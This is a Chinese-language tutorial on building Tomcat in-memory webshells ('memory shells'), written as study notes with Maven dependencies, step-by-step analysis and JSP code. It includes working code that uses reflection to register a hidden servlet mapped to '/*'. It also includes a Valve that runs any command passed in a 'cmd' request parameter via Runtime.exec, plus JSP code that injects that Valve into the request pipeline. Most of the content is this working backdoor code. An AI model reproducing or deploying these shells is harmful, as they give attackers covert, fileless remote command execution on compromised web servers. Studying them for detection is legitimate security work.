一、Tomcat Servlet 内存马

0. 添加依赖

在项目中添加以下 Maven 依赖以支持 Tomcat 相关操作:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.68</version>
</dependency>

1. Servlet 使用

通过 web.xml 配置或 @WebServlet 注解注册 Servlet:

<servlet>
    <servlet-name>servletDemo</servlet-name>
    <servlet-class>com.test.servletDemo</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>servletDemo</servlet-name>
    <url-pattern>/demo</url-pattern>
</servlet-mapping>
 

2. 动态分析

参考资料:腾讯云开发者文章

  • 编写一个继承 javax.servlet.http.HttpServlet 的类,并重写 doGet 或其他方法。
  • 通过反射调用 request 类和 StandardContext 类获取上下文(context)。
  • 调用 createWrapper 方法创建 Wrapper 实例,并设置基于 web.xml 的配置信息。
  • 使用 addChild 添加 Wrapper 配置。
  • 使用 addServletMappingDecoded 添加路由映射。

3. 内存马实现

以下是 Servlet 内存马的 JSP 实现代码:

<%
// 获取 StandardContext#context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

// 创建 Wrapper 并写入 Servlet 信息
Wrapper wrapper = context.createWrapper();
wrapper.setName("testservlet");
wrapper.setServletClass(HelloServlet.class.getName());
wrapper.setServlet(new HelloServlet());

// 添加 Wrapper 并添加路由信息
context.addChild(wrapper);
context.addServletMappingDecoded("/*", "testservlet");
%>

二、Tomcat Valve 内存马

0. 添加依赖

在项目中添加以下 Maven 依赖以支持 Tomcat 相关操作:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.68</version>
</dependency>
 

1. Valve 使用

Valve(阀门)是 Tomcat 四大容器类(StandardEngineStandardHostStandardContextStandardWrapper)中管道(Pipeline)的核心组件。每个容器拥有独立的 Pipeline,通过 getPipeline().getFirst().invoke(Request req, Response resp) 调用用户添加的 Valve,最后调用默认的 Standard-Valve

以下是自定义 Valve 的实现:

public class TestVavle extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd == null) {
            getNext().invoke(request, response);
        } else {
            Runtime.getRuntime().exec(cmd);
        }
    }
}
 

配置方式

  • 全局模板:所有应用共享相同的 Valve 配置,可修改 Tomcat 的全局 context.xml(位于 $CATALINA_BASE/conf/context.xml)。
  • 自定义部署:在 src/main/webapp/META-INF 目录下创建 context.xml 文件。

2. 动态分析

参考资料:微信公众号文章

  • 编写一个继承 org.apache.catalina.valves.ValveBase 的类,并重写 invoke 方法。
  • 通过反射调用 request 类和 StandardContext 类获取上下文(context)。
  • 调用容器实例的 getPipeline 方法获取管道。
  • 使用 addValve 方法添加自定义 Valve。

3. 内存马实现

以下是 Valve 内存马的 JSP 实现代码:

<%
// 反射调用 request 类
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);

// 反射调用 StandardContext 类获取 context
StandardContext context = (StandardContext) req.getContext();

// 调用 getPipeline
Pipeline pipeline = context.getPipeline();

// 传入 TestVavle 类
TestVavle testVavle = new TestVavle();
pipeline.addValve(testVavle);
%>

三,疑难解决

1,web.xml中servlet-class标签里报红解决